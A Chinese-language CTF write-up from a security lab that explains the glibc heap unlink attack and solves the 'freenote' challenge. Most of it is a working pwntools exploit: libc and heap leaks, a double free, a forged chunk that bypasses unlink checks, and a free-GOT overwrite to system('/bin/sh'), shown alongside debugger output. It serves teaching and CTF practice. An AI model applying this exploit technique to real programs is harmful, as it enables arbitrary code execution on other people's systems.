首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >一道题彻底理解 Pwn Heap Unlink

一道题彻底理解 Pwn Heap Unlink

作者头像
Ms08067安全实验室
发布2019-12-23 14:54:16
发布2019-12-23 14:54:16
4.3K1
举报

基本原理

unlink是一个宏操作,用于将某一个空闲 chunk 从其所处的双向链表中脱链,

我们来利用unlink 所造成的漏洞时,其实就是对进行 unlink chunk 进行内存布局,然后借助 unlink 操作来达成修改指针

的效果。

利用条件

  1. UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针
  2. 已知位置存在一个指针指向可进行 UAF 的 chunk

利用思路

设指向可 UAF chunk 的指针的地址为 ptr

  1. 修改 fd 为 ptr - 0x18
  2. 修改 bk 为 ptr - 0x10
  3. 触发 unlink

ptr 处的指针会变为 ptr - 0x18。

实现效果

使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18

源码分析

源码路径

代码语言:javascript
复制
malloc.c
    _init_free
        #define unlink(AV, P, BK, FD) //line:1405

逐次分析如下

宏定义

代码语言:javascript
复制
#define unlink(AV, P, BK, FD)
  • P: 待脱链的空闲chunk的指针
  • BK:后一个chunk的指针
  • FD:前一个chunk的指针

大小检查

代码语言:javascript
复制
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))   
      malloc_printerr ("corrupted size vs. prev_size");

若物理相邻的后一个chunk的prev_size位的值与当前待脱链的空闲chunk的size不等时,报错

指针操作

代码语言:javascript
复制
FD = P->fd;    
BK = P->bk;

`

首先通过 fd 以及 bk 指针获得 P 的前一个空闲 chunk 为 FD,以及后一个空闲 chunk 为 BK

图示如下:8 bytes / 小格(以64位程序为例)

关键检查

代码语言:javascript
复制
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))            
      malloc_printerr ("corrupted double-linked list");

这是一个关键 check ,利用者想要绕过此检查,需要构造合适的 fake chunk

如何绕过检查呢?

满足以下式子:

代码语言:javascript
复制
P->fd->bk == P <=> *(P->fd + 0x18) == P 
p->bk->fd == P <=> *(p->bk + 0x10) == P

如果要让 P->fd+0x18p->bk+0x10 指向同一个指向 P 的指针,那么需要将 fd 和bk 的内容分别修改为:

代码语言:javascript
复制
P->fd = &P - 0x18 
P->bk = &P - 0x10

因此,我们只需要将 fd 的内容 设置为 (&p-0x18),将 bk 的内容设置为 (&p-0x10) 即可绕过安全检查

当满足以上条件时,才可以进入 Unlink 断链的环节:

因为 P 只可能从 smallbin 或者 largebin 中脱链,而这两个 bin 都是双向链表,因此脱链操作必须同时修改前后 chunk 的 fd 或者 bk 指针,即进行如下操作

代码语言:javascript
复制
FD->bk = BK <=> P->fd->bk = p->bk <=> *(P->fd + 0x18) = P->bk //Ⅰ
BK->fd = FD <=> P->bk->fd = p->fd <=> *(P->bk + 0x10) = P->fd //Ⅱ

对 Ⅰ式做换算,得到 P = &P - 0x10 ,如下

代码语言:javascript
复制
∵ P->fd = &P - 0x18 
∴ *(&P - 0x18 + 0x18) = P->bk => P = P->bk
∵ P->bk = &P - 0x10 
∴ P = &P - 0x10

对 Ⅱ 式做换算,得到 P = &P - 0x18 ,如下

代码语言:javascript
复制
∵ P->bk = &P - 0x10 
∴ *(P->bk + 0x10) = P->fd => P = P->fd
∵ P->fd = &P - 0x18 
∴ P = &P - 0x18

综上,断链之后 P 指针将指向 (&p-0x18) 的内存

假设我们设置 P = free_got, *(&P-0x18) = system,那么当下一次free一个堆块的时候,就会调用system。

largebin脱链

对于 smallbin 来说,脱链操作就此完成了,但是对于 largebin 来说,还有未完成的工作,因为 largebin 中还有 fdnextsize 以及 bknextsize 指针需要修改。

smallbin 中的 chunk 的 fdnextsize 和 bknextsize 是没有意义的,即使是 largebin,也只有在相同尺寸的同一组 chunks 中的第一个 chunk 中 fdnextsize 以及 bknextsize 才有意义。

代码语言:javascript
复制
if (!in_smallbin_range (P->size)                \
    && __builtin_expect (P->fd_nextsize != NULL, 0)) {
    ...
}

可见只有当 P->fdnextsize != null 时才需要修改,因为如果 P->fdnextsize == null ,说明 P 是尺寸相同的一组 chunks

的非第一个 chunk,此时 P 的 fdnextsize 和 bknextsize 是没有意义的,自然没有修改的必要。

否则操作如下:

代码语言:javascript
复制
if (FD->fd_nextsize == NULL) {                    
                if (P->fd_nextsize == P)                      
                  FD->fd_nextsize = FD->bk_nextsize = FD;             
                else {                                
                    FD->fd_nextsize = P->fd_nextsize;                 
                    FD->bk_nextsize = P->bk_nextsize;                 
                    P->fd_nextsize->bk_nextsize = FD;                 
                    P->bk_nextsize->fd_nextsize = FD;                 
                  }                               
              } else {                                
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;             
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;             
              }

如果 FD->fd_nextsize == NULL ,那么 P 脱链后 FD 即成为当前尺寸相同的 chunks 的第一个 chunk。

继续判断 P->fd_nextsize == P ,因为当 P 为仅有的唯一一组尺寸相同的 chunks 的第一个 chunk 的话,是需要特别对待

的,否则 FD 直接继承 P 的 fdnextsize 以及 bknextsize 即可。

如果 FD->fd_nextsize != NULL ,说明 FD 是下一组尺寸相同的 chunks 的第一个 chunk。

题目详解

基本信息

代码语言:javascript
复制
➜  freenote file freenote_x64    
freenote_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.24, BuildID[sha1]=dd259bb085b3a4aeb393ec5ef4f09e312555a64d, stripped
➜  freenote checksec freenote_x64
[*] '/mnt/hgfs/ctf_debug/Heap/unlink/freenote/freenote_x64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
➜  ./freenote
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice:

可以看出,程序是 64 位的,开启了 Canary 和 NX 保护,功能为对 Note进行增删改查

基本功能

使用 IDA 进行静态分析

1.程序主体框架与自定义结构体

qword6020A8 变量出现在了main函数的各个子函数中,且含有子成员,判断其为结构体类型,命名为 list ,函数本身的功能是对于list结构体做初始化工作,故认为其为 initheap 函数

这是一个标准的菜单栏,输入的参数经 sub_40094E 函数处理后返回 main 中相应的子函数,进行链表的增删改查操作。

按习惯,按 n键 将以上关键函数和变量重命名

由 v0 = 256 ,(list + 8) = 0,看出 list 结构体存在两个普通8字节变量,

由 (list + 24LL * i + 16) 可以看出,list 结构体中存在一个结构体数组变量,将其命名为 struct_array,

由 list + 24LL * i + 16/24/32 可以看出,struct_array 结构体含有三个8字节变量。

接下来为了辅助分析,自定义结构体,以使代码更简明

Shift F9 切换结构体窗口,Fn + PgDn 新建一个结构体,d 创建结构体成员,切换字节宽度为 dq

  • 右键设置 structlist 结构体中的结构体变量 structarray 类型(struct struct_array)以及宽度
  • 由 *v0 = 256LL 可知该结构体数组的宽度为256字节
  • 注意到 v0 = malloc(0x1810uLL) 与 struct_list 结构体的大小必须一致

接下来,双击 initheap 函数中任意一个 list 变量,进入汇编窗口,按 y 修改类型为 structlist *list ,使结构体生效

返回 init_heap 函数, F5 刷新

很容易看出 list_0 为 count

从 New 函数中的 if ( list->field8 < list->count) 可以看出,field8 为 current_count

简化后的 init_heap ,如下结果

field_0, field_8, field_10 暂时看不出什么作用,去 New 函数看一看

2.New函数分析

由 if ( !list->structarray[i].field0 ) 可判断 field_0 为一个标志位,标记是否使用,为 0 时才创建堆块,将其命名为 flag,

由 v4 = sub20094E 可知 v4 为结构体的长度,将 field8 命名为为 length

由 v1 = malloc((128 - v4 % 128) % 128 + v4) 可知 v1 为输入字符串,将 field_10 命名为 buf

  • 注意到这里对buf进行了对齐操作,对其宽度为128字节

简化后的 New 函数,如下结果

Edit函数分析

注意到修改时的realloc操作:

代码语言:javascript
复制
v1->struct_array[v3].buf = (__int64)realloc((void *)list->struct_array[v3].buf, (128 - v2 % 128) % 128 + v2);

Free函数分析

注意到,将 flag 和 length 清零,而后 free 掉 buf ,没有置空指针,因此存在UAF

而且delete只检验了:

代码语言:javascript
复制
v1 < 0 || v1 >= list->count

并没有对于堆块做有效性检验,故存在 double free 漏洞


以下开始设计 exp ,以下为基本菜单

代码语言:javascript
复制
from pwn import *
#context.log_level = 'debug'
p=process("./freenote_x64")
elf=ELF("./freenote_x64")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def new(length,note):
    p.recvuntil("choice: ")
    p.sendline("2")
    p.recvuntil("note: ")
    p.sendline(str(length))
    p.recvuntil("note: ")
    p.sendline(note)
def edit(num,length,note):
    p.recvuntil("choice: ")
    p.sendline("3")
    p.recvuntil("number: ")
    p.sendline(str(num))
    p.recvuntil("note: ")
    p.sendline(str(length))
    p.recvuntil("note: ")
    p.sendline(note)
def delete(num):
    p.recvuntil("choice: ")
    p.sendline("4")
    p.recvuntil("number: ")
    p.sendline(str(num))

leak libc

思路

如果我们能打印一个非fastbin链中的fd,bk,那我们就可以计算出libc的基地址

方法

创建chunk 1和chunk 2,释放掉chunk 0,可以得到main_arena的地址

公式

代码语言:javascript
复制
libc.addr = libc_on - libc.sysbols["main_arena"] - 88

实现

代码语言:javascript
复制
new(8,"a"*7)    //new一个8字节的chunk,发送7个'a'
new(8,"a"*7)
delete(0)
new(8,"a"*7)    
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("aaaaaaa\n")
libc.address=u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78

注意

  • libc 2.23版本:main_arena 的偏移为 0x3C4B20
  • libc 2.19版本:main_arena 的偏移为 0x3BE760

leak heap

思路:和 leak libc 差不多,只不过偏移不同

方法

创建4个chunk,释放掉0号和2号,这时候0号的fd和bk将指向2号堆块,构成双向链表

heap_base 是 main 函数执行后程序分配到的第一个堆的基地址

程序分配的第一个堆是索引表,索引表堆块用户区大小是 0x1810,索引表堆块的 head 占 0x10,因此索引表堆块总大小为 0x1820

chunk0->bk 指向的是 chunk2,索引表堆块和chunk2之间隔了一个 chunk0 加一个 chunk1 ,因此这块间隔的大小就是(0x10+0x80)*2=0x120

因此 chunk0bk 所指向的位置 (chunk2) 到 heapbase 的总偏移量就等于 0x1820+0x120=0x1940

目的:获取0号堆块的地址

实现

代码语言:javascript
复制
new(8,"a"*7)
new(8,"a"*7)
new(8,"a"*7)
new(8,"a"*7)
delete(0)
delete(2)
new(8,"/bin/sh")
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("0. /bin/sh\n")
heap_addr=u64(p.recvuntil("\n").strip().ljust(8,"\x00"))-0x1940

double free

成因

之前free函数中可以看到,未对free的堆块进行检查和置空

方法:再次 free 2号堆块

目的:为 unlink 做准备

实现

代码语言:javascript
复制
delete(3)
delete(2)

unlink

思路

伪造一个fake_chunk,修改fd和bk,绕过检查,修改指针

注意

fakechunk之后需要跟两个chunk,防止和topchunk合并

实现

代码语言:javascript
复制
delete(3)
delete(2)     # 相当于图片中的 P 堆块 
fake_chunk=p64(0)+p64(0x81)+p64(heap_addr+0x60-0x18)+p64(heap_addr+0x60-0x10)+'a'*0x60+p64(0x80)+p64(0x90)+'a'*0x80+p64(0)+p64(0x91)+'a'*0x80+p64(0)+p64(0x91)+'a'*0x80
new(len(fake_chunk),fake_chunk)
delete(3)    # 删除引线堆块,触发unlink

write got

思路

之前已经获得了libc的地址,现在将 chunk1 的内容覆盖为free函数的地址

再 edit(1) 将 free 函数在got表中的地址修改为system的地址,这时再free一次即可实现system("/bin/sh")

注意

double free之后 chunk0 的指针被覆盖了,这时调用remalloc的话就会报错,因此edit的时候需要将输入的长度填充为与2号chunk的length一样,才不会调用remalloc

实现

代码语言:javascript
复制
edit(2,0x230,p64(elf.got['free'])+p64(0)*0x228) // 
edit(1,0x8,p64(libc.symbols['system']))
delete(0)

调试

初始状态,程序分配了 0x1810 大小的堆空间,回过头看之前的 v0 = malloc(0x1810uLL),多出来的 0x10 字节用于存储结构体的首部信息

按四次 c 键,创建四个 chunk ,如下图

删除 chunk 0 和chunk 2,如下

至此,main_arena 的地址已泄露,0x7fe1f17edb78

接下来,写入 /bin/sh,如下

验证一下

获取 heap 和 libc 的基址,如下

手动验算一下

代码语言:javascript
复制
libc.address = 0x7fe1f17edb78 - 0x3C4B20 - 88 = 0x7fe1f1429000
heap_addr = chunk2.addr - 0x1940 = 0x1e2940 - 0x1940 = 0x1e1000

接下来,删除 chunk 3 和 chunk 2,如下

可以看到 chunk 2 和 chunk 3 在 free 之后归并到了 top chunk

新建 fake_chunk ,并将 fd 和 bk 设置为 chunk2-0x18chunk2 - 0x10 ,如下

代码语言:javascript
复制
fake_chunk=p64(0)+p64(0x81)+p64(heap_addr+0x60-0x18)+p64(heap_addr+0x60-0x10)+'a'*0x60 # 2
fake_chunk+=p64(0x80)+p64(0x90)+'a'*0x80 # 3
fake_chunk+=p64(0)+p64(0x91)+'a'*0x80+p64(0)+p64(0x91)+'a'*0x80
代码语言:javascript
复制
pwndbg> x/80gz 0x1ef2940
0x1ef2940:      0x0000000000000000      0x0000000000000291
0x1ef2950:      0x0000000000000000      0x0000000000000081 ==>伪造堆块的起始点
0x1ef2960:      0x0000000001ef1048      0x0000000001ef1050 ==>target-0x18 / target-0x10
0x1ef2970:      0x6161616161616161      0x6161616161616161
0x1ef2980:      0x6161616161616161      0x6161616161616161
0x1ef2990:      0x6161616161616161      0x6161616161616161
0x1ef29a0:      0x6161616161616161      0x6161616161616161
0x1ef29b0:      0x6161616161616161      0x6161616161616161
0x1ef29c0:      0x6161616161616161      0x6161616161616161
0x1ef29d0:      0x0000000000000080      0x0000000000000090 ==>伪造堆块3;伪造前一个堆块为0x80并且为空闲状态
0x1ef29e0:      0x6161616161616161      0x6161616161616161

删除引线堆块 chunk 3,使chunk 2 和 chunk 3发生合并 ,触发 unlink 操作

代码语言:javascript
复制
delete(3)

此时索引表的内存布局

下一步,编辑 chunk 2,写入 free_got 的地址

可以看到,原本指向 chunk 1 的指针指向了 free_got

即,只要我们编辑 chunk2 - 0x18 的内容就能使 free_got 指向该内容对应的地址,

从索引表可以看到 chunk2 - 0x18 刚好是 chunk1 的起始位置,执行

代码语言:javascript
复制
edit(1,0x8,p64(libc.symbols['system']))

效果如下

代码语言:javascript
复制
//由之前我们推导的结果可知
*(p) = p - 0x18
//此时,我们往 chunk1 写入 system 的地址,正好满足
*(free) = *(chunk2 - 0x18) = system

下一步,删除 chunk 0,触发 free 操作,由于 free 指向了 system 函数的地址,此时便会执行 system("/bin/sh") 。

例题和完整 exp :https://url.cn/5BMP2pA

感谢

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-12-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基本原理
    • 利用条件
    • 利用思路
    • 实现效果
  • 源码分析
  • 题目详解
    • 基本信息
    • 基本功能
    • leak libc
    • leak heap
    • double free
    • unlink
    • write got
    • 调试
  • 例题和完整 exp :https://url.cn/5BMP2pA
  • 感谢
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档